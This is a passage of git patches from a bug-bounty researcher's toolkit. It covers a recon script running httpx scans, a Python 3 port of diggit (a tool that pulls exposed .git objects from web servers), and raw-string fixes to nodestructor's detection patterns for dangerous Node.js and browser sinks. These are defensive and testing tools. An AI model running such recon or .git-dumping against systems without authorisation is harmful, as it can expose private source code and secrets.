-e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -rf httpx* + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $(pwd)/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" osascript -e 'display notification "Hey choom, we have some webservers to hack!" with title "s0mbra says:"' } @@ -733,7 +734,7 @@ case "$cmd" in peek "$2" ;; webservers) - webservers + webservers "$2" ;; recon) recon "$2" "$3" "$4" @@ -859,7 +860,7 @@ case "$cmd" in clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" - echo -e "$CYAN webservers $GRAY(uses subdomains_final.log in cwd)$CLR" + echo -e "$CYAN webservers $GRAY[SUBDOMAINS FILE]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" From ecf8d5b78526e668a489a98786d2cfd2ecb375b5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Aug 2024 17:41:32 +0100 Subject: [PATCH 334/369] [diggit] Refactor to Python 3 syntax --- .pylintrc | 407 --------------------------------- .vscode/.ropeproject/config.py | 100 -------- .vscode/.ropeproject/objectdb | Bin 1646 -> 0 bytes diggit/{src => }/diggit.py | 34 ++- 4 files changed, 16 insertions(+), 525 deletions(-) delete mode 100644 .pylintrc delete mode 100644 .vscode/.ropeproject/config.py delete mode 100644 .vscode/.ropeproject/objectdb rename diggit/{src => }/diggit.py (82%) diff --git a/.pylintrc b/.pylintrc deleted file mode 100644 index 7b7a555..0000000 --- a/.pylintrc +++ /dev/null @@ -1,407 +0,0 @@ -[MASTER] - -# Specify a configuration file. -#rcfile= - -# Python code to execute, usually for sys.path manipulation such as -# pygtk.require(). -#init-hook= - -# Add files or directories to the blacklist. They should be base names, not -# paths. -ignore=CVS - -# Add files or directories matching the regex patterns to the blacklist. The -# regex matches against base names, not paths. -ignore-patterns= - -# Pickle collected data for later comparisons. -persistent=yes - -# List of plugins (as comma separated values of python modules names) to load, -# usually to register additional checkers. -load-plugins= - -# Use multiple processes to speed up Pylint. -jobs=1 - -# Allow loading of arbitrary C extensions. Extensions are imported into the -# active Python interpreter and may run arbitrary code. -unsafe-load-any-extension=no - -# A comma-separated list of package or module names from where C extensions may -# be loaded. Extensions are loading into the active Python interpreter and may -# run arbitrary code -extension-pkg-whitelist= - -# Allow optimization of some AST trees. This will activate a peephole AST -# optimizer, which will apply various small optimizations. For instance, it can -# be used to obtain the result of joining multiple strings with the addition -# operator. Joining a lot of strings can lead to a maximum recursion error in -# Pylint and this flag can prevent that. It has one side effect, the resulting -# AST will be different than the one from reality. This option is deprecated -# and it will be removed in Pylint 2.0. -optimize-ast=no - - -[MESSAGES CONTROL] - -# Only show warnings with the listed confidence levels. Leave empty to show -# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED -confidence= - -# Enable the message, report, category or checker with the given id(s). You can -# either give multiple identifier separated by comma (,) or put this option -# multiple time (only on the command line, not in the configuration file where -# it should appear only once). See also the "--disable" option for examples. -#enable= - -# Disable the message, report, category or checker with the given id(s). You -# can either give multiple identifiers separated by comma (,) or put this -# option multiple times (only on the command line, not in the configuration -# file where it should appear only once).You can also use "--disable=all" to -# disable everything first and then reenable specific checks. For example, if -# you want to run only the similarities checker, you can use "--disable=all -# --enable=similarities". If you want to run only the classes checker, but have -# no Warning level messages displayed, use"--disable=all --enable=classes -# --disable=W" -disable=import-star-module-level,old-octal-literal,oct-method,print-statement,unpacking-in-except,parameter-unpacking,backtick,old-raise-syntax,old-ne-operator,long-suffix,dict-view-method,dict-iter-method,metaclass-assignment,next-method-called,raising-string,indexing-exception,raw_input-builtin,long-builtin,file-builtin,execfile-builtin,coerce-builtin,cmp-builtin,buffer-builtin,basestring-builtin,apply-builtin,filter-builtin-not-iterating,using-cmp-argument,useless-suppression,range-builtin-not-iterating,suppressed-message,no-absolute-import,old-division,cmp-method,reload-builtin,zip-builtin-not-iterating,intern-builtin,unichr-builtin,reduce-builtin,standarderror-builtin,unicode-builtin,xrange-builtin,coerce-method,delslice-method,getslice-method,setslice-method,input-builtin,round-builtin,hex-method,nonzero-method,map-builtin-not-iterating - - -[REPORTS] - -# Set the output format. Available formats are text, parseable, colorized, msvs -# (visual studio) and html. You can also give a reporter class, eg -# mypackage.mymodule.MyReporterClass. -output-format=text - -# Put messages in a separate file for each module / package specified on the -# command line instead of printing them on stdout. Reports (if any) will be -# written in a file name "pylint_global.[txt|html]". This option is deprecated -# and it will be removed in Pylint 2.0. -files-output=no - -# Tells whether to display a full report or only the messages -reports=yes - -# Python expression which should return a note less than 10 (10 is the highest -# note). You have access to the variables errors warning, statement which -# respectively contain the number of errors / warnings messages and the total -# number of statements analyzed. This is used by the global evaluation report -# (RP0004). -evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10) - -# Template used to display messages. This is a python new-style format string -# used to format the message information. See doc for all details -#msg-template= - - -[BASIC] - -# Good variable names which should always be accepted, separated by a comma -good-names=i,j,k,ex,Run,_ - -# Bad variable names which should always be refused, separated by a comma -bad-names=foo,bar,baz,toto,tutu,tata - -# Colon-delimited sets of names that determine each other's naming style when -# the name regexes allow several styles. -name-group= - -# Include a hint for the correct naming format with invalid-name -include-naming-hint=no - -# List of decorators that produce properties, such as abc.abstractproperty. Add -# to this list to register other decorators that produce valid properties. -property-classes=abc.abstractproperty - -# Regular expression matching correct function names -function-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for function names -function-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct variable names -variable-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for variable names -variable-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct constant names -const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$ - -# Naming hint for constant names -const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$ - -# Regular expression matching correct attribute names -attr-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for attribute names -attr-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct argument names -argument-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for argument names -argument-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression matching correct class attribute names -class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ - -# Naming hint for class attribute names -class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ - -# Regular expression matching correct inline iteration names -inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$ - -# Naming hint for inline iteration names -inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$ - -# Regular expression matching correct class names -class-rgx=[A-Z_][a-zA-Z0-9]+$ - -# Naming hint for class names -class-name-hint=[A-Z_][a-zA-Z0-9]+$ - -# Regular expression matching correct module names -module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ - -# Naming hint for module names -module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ - -# Regular expression matching correct method names -method-rgx=[a-z_][a-z0-9_]{2,30}$ - -# Naming hint for method names -method-name-hint=[a-z_][a-z0-9_]{2,30}$ - -# Regular expression which should only match function or class names that do -# not require a docstring. -no-docstring-rgx=^_ - -# Minimum line length for functions/classes that require docstrings, shorter -# ones are exempt. -docstring-min-length=-1 - - -[ELIF] - -# Maximum number of nested blocks for function / method body -max-nested-blocks=5 - - -[FORMAT] - -# Maximum number of characters on a single line. -max-line-length=100 - -# Regexp for a line that is allowed to be longer than the limit. -ignore-long-lines=^\s*(# )??$ - -# Allow the body of an if to be on the same line as the test if there is no -# else. -single-line-if-stmt=no - -# List of optional constructs for which whitespace checking is disabled. `dict- -# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}. -# `trailing-comma` allows a space between comma and closing bracket: (a, ). -# `empty-line` allows space-only lines. -no-space-check=trailing-comma,dict-separator - -# Maximum number of lines in a module -max-module-lines=1000 - -# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1 -# tab). -indent-string=' ' - -# Number of spaces of indent required inside a hanging or continued line. -indent-after-paren=4 - -# Expected format of line ending, e.g. empty (any line ending), LF or CRLF. -expected-line-ending-format= - - -[LOGGING] - -# Logging modules to check that the string format arguments are in logging -# function parameter format -logging-modules=logging - - -[MISCELLANEOUS] - -# List of note tags to take in consideration, separated by a comma. -notes=FIXME,XXX,TODO - - -[SIMILARITIES] - -# Minimum lines number of a similarity. -min-similarity-lines=4 - -# Ignore comments when computing similarities. -ignore-comments=yes - -# Ignore docstrings when computing similarities. -ignore-docstrings=yes - -# Ignore imports when computing similarities. -ignore-imports=no - - -[SPELLING] - -# Spelling dictionary name. Available dictionaries: none. To make it working -# install python-enchant package. -spelling-dict= - -# List of comma separated words that should not be checked. -spelling-ignore-words= - -# A path to a file that contains private dictionary; one word per line. -spelling-private-dict-file= - -# Tells whether to store unknown words to indicated private dictionary in -# --spelling-private-dict-file option instead of raising a message. -spelling-store-unknown-words=no - - -[TYPECHECK] - -# Tells whether missing members accessed in mixin class should be ignored. A -# mixin class is detected if its name ends with "mixin" (case insensitive). -ignore-mixin-members=yes - -# List of module names for which member attributes should not be checked -# (useful for modules/projects where namespaces are manipulated during runtime -# and thus existing member attributes cannot be deduced by static analysis. It -# supports qualified module names, as well as Unix pattern matching. -ignored-modules= - -# List of class names for which member attributes should not be checked (useful -# for classes with dynamically set attributes). This supports the use of -# qualified names. -ignored-classes=optparse.Values,thread._local,_thread._local - -# List of members which are set dynamically and missed by pylint inference -# system, and so shouldn't trigger E1101 when accessed. Python regular -# expressions are accepted. -generated-members= - -# List of decorators that produce context managers, such as -# contextlib.contextmanager. Add to this list to register other decorators that -# produce valid context managers. -contextmanager-decorators=contextlib.contextmanager - - -[VARIABLES] - -# Tells whether we should check for unused import in __init__ files. -init-import=no - -# A regular expression matching the name of dummy variables (i.e. expectedly -# not used). -dummy-variables-rgx=(_+[a-zA-Z0-9]*?$)|dummy - -# List of additional names supposed to be defined in builtins. Remember that -# you should avoid to define new builtins when possible. -additional-builtins= - -# List of strings which can identify a callback function by name. A callback -# name must start or end with one of those strings. -callbacks=cb_,_cb - -# List of qualified module names which can have objects that can redefine -# builtins. -redefining-builtins-modules=six.moves,future.builtins - - -[CLASSES] - -# List of method names used to declare (i.e. assign) instance attributes. -defining-attr-methods=__init__,__new__,setUp - -# List of valid names for the first argument in a class method. -valid-classmethod-first-arg=cls - -# List of valid names for the first argument in a metaclass class method. -valid-metaclass-classmethod-first-arg=mcs - -# List of member names, which should be excluded from the protected access -# warning. -exclude-protected=_asdict,_fields,_replace,_source,_make - - -[DESIGN] - -# Maximum number of arguments for function / method -max-args=5 - -# Argument names that match this expression will be ignored. Default to name -# with leading underscore -ignored-argument-names=_.* - -# Maximum number of locals for function / method body -max-locals=15 - -# Maximum number of return / yield for function / method body -max-returns=6 - -# Maximum number of branch for function / method body -max-branches=12 - -# Maximum number of statements in function / method body -max-statements=50 - -# Maximum number of parents for a class (see R0901). -max-parents=7 - -# Maximum number of attributes for a class (see R0902). -max-attributes=7 - -# Minimum number of public methods for a class (see R0903). -min-public-methods=2 - -# Maximum number of public methods for a class (see R0904). -max-public-methods=20 - -# Maximum number of boolean expressions in a if statement -max-bool-expr=5 - - -[IMPORTS] - -# Deprecated modules which should not be used, separated by a comma -deprecated-modules=regsub,TERMIOS,Bastion,rexec - -# Create a graph of every (i.e. internal and external) dependencies in the -# given file (report RP0402 must not be disabled) -import-graph= - -# Create a graph of external dependencies in the given file (report RP0402 must -# not be disabled) -ext-import-graph= - -# Create a graph of internal dependencies in the given file (report RP0402 must -# not be disabled) -int-import-graph= - -# Force import order to recognize a module as part of the standard -# compatibility libraries. -known-standard-library= - -# Force import order to recognize a module as part of a third party library. -known-third-party=enchant - -# Analyse import fallback blocks. This can be used to support both Python 2 and -# 3 compatible code, which means that the block might have code that exists -# only in one or another interpreter, leading to false positives when analysed. -analyse-fallback-blocks=no - - -[EXCEPTIONS] - -# Exceptions that will emit a warning when being caught. Defaults to -# "Exception" -overgeneral-exceptions=Exception diff --git a/.vscode/.ropeproject/config.py b/.vscode/.ropeproject/config.py deleted file mode 100644 index d1e8f3d..0000000 --- a/.vscode/.ropeproject/config.py +++ /dev/null @@ -1,100 +0,0 @@ -# The default ``config.py`` -# flake8: noqa - - -def set_prefs(prefs): - """This function is called before opening the project""" - - # Specify which files and folders to ignore in the project. - # Changes to ignored resources are not added to the history and - # VCSs. Also they are not returned in `Project.get_files()`. - # Note that ``?`` and ``*`` match all characters but slashes. - # '*.pyc': matches 'test.pyc' and 'pkg/test.pyc' - # 'mod*.pyc': matches 'test/mod1.pyc' but not 'mod/1.pyc' - # '.svn': matches 'pkg/.svn' and all of its children - # 'build/*.o': matches 'build/lib.o' but not 'build/sub/lib.o' - # 'build//*.o': matches 'build/lib.o' and 'build/sub/lib.o' - prefs['ignored_resources'] = ['*.pyc', '*~', '.ropeproject', - '.hg', '.svn', '_svn', '.git', '.tox'] - - # Specifies which files should be considered python files. It is - # useful when you have scripts inside your project. Only files - # ending with ``.py`` are considered to be python files by - # default. - #prefs['python_files'] = ['*.py'] - - # Custom source folders: By default rope searches the project - # for finding source folders (folders that should be searched - # for finding modules). You can add paths to that list. Note - # that rope guesses project source folders correctly most of the - # time; use this if you have any problems. - # The folders should be relative to project root and use '/' for - # separating folders regardless of the platform rope is running on. - # 'src/my_source_folder' for instance. - #prefs.add('source_folders', 'src') - - # You can extend python path for looking up modules - #prefs.add('python_path', '~/python/') - - # Should rope save object information or not. - prefs['save_objectdb'] = True - prefs['compress_objectdb'] = False - - # If `True`, rope analyzes each module when it is being saved. - prefs['automatic_soa'] = True - # The depth of calls to follow in static object analysis - prefs['soa_followed_calls'] = 0 - - # If `False` when running modules or unit tests "dynamic object - # analysis" is turned off. This makes them much faster. - prefs['perform_doa'] = True - - # Rope can check the validity of its object DB when running. - prefs['validate_objectdb'] = True - - # How many undos to hold? - prefs['max_history_items'] = 32 - - # Shows whether to save history across sessions. - prefs['save_history'] = True - prefs['compress_history'] = False - - # Set the number spaces used for indenting. According to - # :PEP:`8`, it is best to use 4 spaces. Since most of rope's - # unit-tests use 4 spaces it is more reliable, too. - prefs['indent_size'] = 4 - - # Builtin and c-extension modules that are allowed to be imported - # and inspected by rope. - prefs['extension_modules'] = [] - - # Add all standard c-extensions to extension_modules list. - prefs['import_dynload_stdmods'] = True - - # If `True` modules with syntax errors are considered to be empty. - # The default value is `False`; When `False` syntax errors raise - # `rope.base.exceptions.ModuleSyntaxError` exception. - prefs['ignore_syntax_errors'] = False - - # If `True`, rope ignores unresolvable imports. Otherwise, they - # appear in the importing namespace. - prefs['ignore_bad_imports'] = False - - # If `True`, rope will insert new module imports as - # `from import ` by default. - prefs['prefer_module_from_imports'] = False - - # If `True`, rope will transform a comma list of imports into - # multiple separate import statements when organizing - # imports. - prefs['split_imports'] = False - - # If `True`, rope will sort imports alphabetically by module name - # instead of alphabetically by import statement, with from imports - # after normal imports. - prefs['sort_imports_alphabetically'] = False - - -def project_opened(project): - """This function is called after opening the project""" - # Do whatever you like here! diff --git a/.vscode/.ropeproject/objectdb b/.vscode/.ropeproject/objectdb deleted file mode 100644 index a1fd398f255f2fc48df49c99917d2a41fba552db..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1646 zcmb`HNq5sQ0ED3lI0=+cwz9TBSzMqtl%?!tErha^1hIp$9iy=$dhmO2i2S#) zv%K`eseZc6K{NAd>^~C;cIafqWI>mjk=?O9EC^z z#&)B3gEsXspio-0AeI&uO&a#lKn&K#%WQ7Jf z#xnck3Ma;7P7cVNQkY>g`dFVOlD zo;svH>N(o`vwq9x30Cyt{a@t%FBKa3dWYZps~%R_e~-lLq6hRQAJAKccNv5=h4&7b z9zh5r8rl)HMlhOv7_9^!if2J`79SNp72WSM(VBz*G`^(xs_;$Wd(kF8NPTSpt35LN QnZi=|l~J`794C&Ae`AYL#Q*>R diff --git a/diggit/src/diggit.py b/diggit/diggit.py similarity index 82% rename from diggit/src/diggit.py rename to diggit/diggit.py index ea52f3a..d682b06 100755 --- a/diggit/src/diggit.py +++ b/diggit/diggit.py @@ -1,7 +1,5 @@ #!/usr/bin/python -# -# bl4de | | https://twitter.com/_bl4de -# +## # diggit - gets .git repository import argparse import os @@ -32,29 +30,28 @@ def print_banner(): def print_object_details(objtype, objcontent, objhash, objfilename): """Prints and saves object details/content""" - print "\n" + term["cyan"] + "#" * 12 + " " + objhash \ - + " information " + "#" * 12 + term["endl"] - print "\n{0}[*] Object type: {3}{2}{1}{3}".format( - term["green"], objtype, term["red"], term["endl"]) - + print("\n" + term["cyan"] + "#" * 12 + " " + objhash + + " information " + "#" * 12 + term["endl"]) + print("\n{0}[*] Object type: {3}{2}{1}{3}".format( + term["green"], objtype, term["red"], term["endl"])) if objfilename != "": global localgitrepo tmpfp = localgitrepo + "/" + objfilename - print "{0}[*] Object filename: {3}{2}{1}{3}".format( - term["green"], objfilename, term["red"], term["endl"]) - print "{0}[*] Object saved in {2}:{1}".format( - term["green"], term["endl"], tmpfp) + print("{0}[*] Object filename: {3}{2}{1}{3}".format( + term["green"], objfilename, term["red"], term["endl"])) + print("{0}[*] Object saved in {2}:{1}".format( + term["green"], term["endl"], tmpfp)) tmpfile = open(tmpfp, "w") tmpfile.write("// diggit.py by @bl4de | {} content\n".format(objhash)) tmpfile.writelines(objcontent) tmpfile.close() - print "{0}[*] Object content:{1}\n".format(term["green"], term["endl"]) + print("{0}[*] Object content:{1}\n".format(term["green"], term["endl"])) if len(objcontent) < 2048: - print "{0}{1}{2}".format(term["yellow"], objcontent, term["endl"]) + print("{0}{1}{2}".format(term["yellow"], objcontent, term["endl"])) else: - print "{}[!] file too big to preview - {} kB{}".format( - term["red"], len(objcontent)/1024, term["endl"]) + print("{}[!] file too big to preview - {} kB{}".format( + term["red"], len(objcontent)/1024, term["endl"])) def get_object_url(objhash): @@ -115,7 +112,8 @@ def save_git_object(baseurl, objhash, berecursive, objfilename=""): parser.add_argument('-t', help='path to temporary Git folder on local machine') parser.add_argument('-o', help='object hash (SHA-1, all 40 characters)') - parser.add_argument('-r', default=False, + parser.add_argument('-r', + action="store_true", help='be recursive (if commit or tree hash ' 'found get all blobs too). Default is \'False\'') @@ -136,4 +134,4 @@ def save_git_object(baseurl, objhash, berecursive, objfilename=""): if baseurl and objecthash: print_banner() save_git_object(args.u, args.o, berecursive, "") - print "\n" + term["cyan"] + "#" * 78 + term["endl"] + print("\n" + term["cyan"] + "#" * 78 + term["endl"]) From 07cd00cc32c9731ac687716d5eb4883e0d5c1209 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Aug 2024 17:47:17 +0100 Subject: [PATCH 335/369] [nodestructor] Fix Python 3.12 related errors --- nodestructor/nodestructor.py | 270 +++++++++++++++++------------------ 1 file changed, 135 insertions(+), 135 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 1a4d9cd..19438b2 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -46,144 +46,144 @@ """ nodejs_patterns = [ - ".*url.parse\(", - ".*[pP]ath.normalize\(", - ".*fs.*File.*\(", - ".*fs.*Read.*\(", - ".*pipe\(res", - ".*bodyParser\(", - ".*eval\(", - ".*exec\(", - ".*execSync\(", - ".*execFile\(", - ".*execFileSync\(", - ".*res.write\(", - ".*child_process", - ".*child_process.exec\(", - ".*\sFunction\(", - ".*spawn\(", - ".*fork\(", - "\.shell", - "\.env", - "\.exitCode", - "\.pid", - ".*newBuffer\(", - ".*\.constructor\(", - ".*mysql\.createConnection\(", - ".*\.query\(", - ".*serialize\(", - ".*unserialize\(", - ".*__proto__" + r".*url.parse\(", + r".*[pP]ath.normalize\(", + r".*fs.*File.*\(", + r".*fs.*Read.*\(", + r".*pipe\(res", + r".*bodyParser\(", + r".*eval\(", + r".*exec\(", + r".*execSync\(", + r".*execFile\(", + r".*execFileSync\(", + r".*res.write\(", + r".*child_process", + r".*child_process.exec\(", + r".*\sFunction\(", + r".*spawn\(", + r".*fork\(", + r"\.shell", + r"\.env", + r"\.exitCode", + r"\.pid", + r".*newBuffer\(", + r".*\.constructor\(", + r".*mysql\.createConnection\(", + r".*\.query\(", + r".*serialize\(", + r".*unserialize\(", + r".*__proto__" ] -browser_patterns = [ - ".*urlsearchParams\(", - ".*innerHTML", - ".*innerText", - ".*textContent", - ".*outerHTML", - ".*appendChild\(", - ".*document.write\(", - ".*document.writeln\(", - ".*document.location", - ".*document.URL", - ".*document.documentURI", - ".*document.URLUnencoded", - ".*document.baseURI", - ".*document.referrer", - ".*location.href", - ".*location.search", - ".*location.hash", - ".*location.host", - ".*location.pathname", - ".*document.cookie", - ".*history.pushState\(", - ".*history.replaceState\(", - ".*navigator.userAgent", - ".*window.open\(", - ".*postMessage\(", - ".*.addEventListener\(['\"]message['\"]", - ".*.ajax\(", - ".*.getJSON\(", - ".*\$http\(", - ".*navigator.sendBeacon\(", - ".*\.add\(", - ".*\.append\(", - ".*\.after\(", - ".*\.before\(", - ".*\.html\(", - ".*\.prepend\(", - ".*\.replaceWith\(", - ".*\.wrap\(", - ".*\.wrapAll\(", - ".*\.dangerouslySetInnerHTML", - ".*\.bypassSecurityTrust.*", - ".*localStorage\.", - ".*sessionStorage\.", - ".*\$sce\.trustAsHtml\(", - ".*\.load\(", - ".*jQuery\.ajax\(", - ".*parseHTML", - ".*wrap.*\(", - ".*html\(", - ".*before\(", - ".*after\(", - ".*insertBefore\(", - ".*insertAfter\(", - ".*prepend", - ".*setContent\(", - ".*setHTML\(", - ".*\.SafeString\(", - ".*globalEval", - ".*execScript", - ".*insertAdjacentHTML\(", - ".*setAttribute.on", - ".*xhr.open", - ".*xhr.send", - "fetch", - ".*xhr.setRequestHeader.name", - ".*xhr.setRequestHeader.value", - ".*attr.href", - ".*attr.src", - ".*attr.data", - ".*attr.action", - ".*attr.formaction", - ".*prop.href", - ".*prop.src", - ".*prop.data", - ".*prop.action", - ".*prop.formaction", - "form.action", - ".*input.formaction", - ".*button.formaction", - ".*button.value", - ".*setAttribute.href", - ".*setAttribute.src", - ".*setAttribute.data", - ".*setAttribute.action", - ".*setAttribute.formaction", - "webdatabase.executeSql", - ".*document.domain", - ".*history.pushState", - ".*history.replaceState", - ".*setRequestHeader", - ".*websocket", - ".*anchor.href", - ".*anchor.target", - ".*JSON.parse", - ".*document.cookie", - ".*localStorage.setItem.name", - ".*localStorage.setItem.value", - ".*sessionStorage.setItem.name", - ".*sessionStorage.setItem.value", - ".*outerText", - ".*innerText", - ".*textContent", - ".*style.cssText", - ".*RegExp" +browrser_patterns = [ + r".*urlsearchParams\(", + r".*innerHTML", + r".*innerText", + r".*textContent", + r".*outerHTML", + r".*appendChild\(", + r".*document.write\(", + r".*document.writeln\(", + r".*document.location", + r".*document.URL", + r".*document.documentURI", + r".*document.URLUnencoded", + r".*document.baseURI", + r".*document.referrer", + r".*location.href", + r".*location.search", + r".*location.hash", + r".*location.host", + r".*location.pathname", + r".*document.cookie", + r".*history.pushState\(", + r".*history.replaceState\(", + r".*navigator.userAgent", + r".*window.open\(", + r".*postMessage\(", + r".*.addEventListener\(['\"]message['\"]", + r".*.ajax\(", + r".*.getJSON\(", + r".*\$http\(", + r".*navigator.sendBeacon\(", + r".*\.add\(", + r".*\.append\(", + r".*\.after\(", + r".*\.before\(", + r".*\.html\(", + r".*\.prepend\(", + r".*\.replaceWith\(", + r".*\.wrap\(", + r".*\.wrapAll\(", + r".*\.dangerouslySetInnerHTML", + r".*\.bypassSecurityTrust.*", + r".*localStorage\.", + r".*sessionStorage\.", + r".*\$sce\.trustAsHtml\(", + r".*\.load\(", + r".*jQuery\.ajax\(", + r".*parseHTML", + r".*wrap.*\(", + r".*html\(", + r".*before\(", + r".*after\(", + r".*insertBefore\(", + r".*insertAfter\(", + r".*prepend", + r".*setContent\(", + r".*setHTML\(", + r".*\.SafeString\(", + r".*globalEval", + r".*execScript", + r".*insertAdjacentHTML\(", + r".*setAttribute.on", + r".*xhr.open", + r".*xhr.send", + r"fetch", + r".*xhr.setRequestHeader.name", + r".*xhr.setRequestHeader.value", + r".*attr.href", + r".*attr.src", + r".*attr.data", + r".*attr.action", + r".*attr.formaction", + r".*prop.href", + r".*prop.src", + r".*prop.data", + r".*prop.action", + r".*prop.formaction", + r"form.action", + r".*input.formaction", + r".*button.formaction", + r".*button.value", + r".*setAttribute.href", + r".*setAttribute.src", + r".*setAttribute.data", + r".*setAttribute.action", + r".*setAttribute.formaction", + r"webdatabase.executeSql", + r".*document.domain", + r".*history.pushState", + r".*history.replaceState", + r".*setRequestHeader", + r".*websocket", + r".*anchor.href", + r".*anchor.target", + r".*JSON.parse", + r".*document.cookie", + r".*localStorage.setItem.name", + r".*localStorage.setItem.value", + r".*sessionStorage.setItem.name", + r".*sessionStorage.setItem.value", + r".*outerText", + r".*innerText", + r".*textContent", + r".*style.cssText", + r".*RegExp" ] -url_regex = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") +url_regex = re.compile(r"(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") urls = [] patterns = nodejs_patterns @@ -341,7 +341,7 @@ def perform_code_analysis(src, pattern="", verbose=False): parser.add_argument( "-u", "--include-urls", help="identify URLs", action="store_true") parser.add_argument( - "-p", "--pattern", help="define your own pattern to look for. Pattern has to be a RegEx, like '.*fork\('. nodestructor removes whiitespaces, so if you want to look for 'new fn()', your pattern should look like this: '.*newfn\(\)' (all special characters for RegEx have to be escaped with \ )") + "-p", "--pattern", help="define your own pattern to look for. Pattern has to be a RegEx") args = parser.parse_args() From e203c37e4bb5b55befb13483a24fa9863c4990c1 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Aug 2024 17:49:59 +0100 Subject: [PATCH 336/369] [s0mbra] remove unused phpsast --- s0mbra.sh | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index f9bfaec..e25c7cd 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -587,14 +587,6 @@ graphw00f() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# runs PHP SAST tools against PHP application -php_sast() { - clear - echo -e "$BLUE[s0mbra] Running static code analysis...$CYAN" - semgrep scan --config=auto --severity ERROR --dataflow-traces --sarif -o ./$1.sarif $1 - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - # runs Ruby SAST tools against Ruby application ruby_sast() { clear @@ -772,9 +764,6 @@ case "$cmd" in snyktest) snyktest ;; - phpsast) - php_sast "$2" - ;; gql) gql "$2" ;; @@ -883,7 +872,7 @@ case "$cmd" in echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" - echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" + echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN urls $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN secrets $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR\t$CYAN endpoints $GRAY[FILE|DIR|URL]\t$YELLOW(JavaScript)$CLR" From 3105223760f1852aafdf4323e8db468482e762df Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Aug 2024 18:04:44 +0100 Subject: [PATCH 337/369] cleanup --- vi.py => Vi/vi.py | 2 + chromium | 37 ----------------- composer.json | 5 --- composer.lock | 78 ------------------------------------ crawl.py | 35 ---------------- dec0der.sh | 18 --------- endpoints.txt | 1 - enumeratescope.sh | 100 ---------------------------------------------- ip_generator.py | 8 ++-- jgc.py | 19 ++++----- subdomain_enum.sh | 0 11 files changed, 16 insertions(+), 287 deletions(-) rename vi.py => Vi/vi.py (98%) delete mode 100755 chromium delete mode 100644 composer.json delete mode 100644 composer.lock delete mode 100644 